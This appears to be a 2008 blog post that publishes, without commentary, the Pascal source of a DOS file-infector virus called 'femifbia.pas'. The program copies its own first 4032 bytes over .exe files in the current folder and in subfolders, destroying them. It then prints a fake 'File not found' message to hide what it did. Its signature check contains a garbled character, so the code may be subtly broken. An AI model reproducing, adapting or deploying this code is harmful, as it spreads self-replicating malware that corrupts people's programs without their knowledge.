..:: Virus Trojan etc ::..

Virus femifbia.pas

Posted by: programmervb on: October 27, 2008

program v;

uses dos;

var filexe : searchrec;
         f : file;
        cf : text;
       sig : string[3];
         p : array[0..6000] of byte;
      inff : string[12];
     oldir : string[12];
         s : integer;

procedure infec(inff : string);
begin
  assign(f,paramstr(0));
  reset(f,1);
  blockread(f,p,4032);
  close(f);
  assign(f,inff);
  reset(f,1);
  blockwrite(f,p,4032);
  close(f);
end;

procedure inf;

begin

s:=0;

findfirst('*.exe',archive,filexe);

while doserror=0 do
begin

  assign(cf,filexe.name);
  reset(cf);
  read(cf,sig);
  close(cf);

  if not (sig='MZ�') and (s=0) then
  begin
    infec(filexe.name);
    s:=1;
  end;

  findnext(filexe);

end;

end;

begin

inf;

findfirst('*.',directory,filexe);
while doserror=0 do
begin
  if not (filexe.name='.') then
  begin
    getdir(0,oldir);
    chdir(filexe.name);
    inf;
    chdir(oldir);
  end;

  findnext(filexe);
end;

writeln('File not found');

end.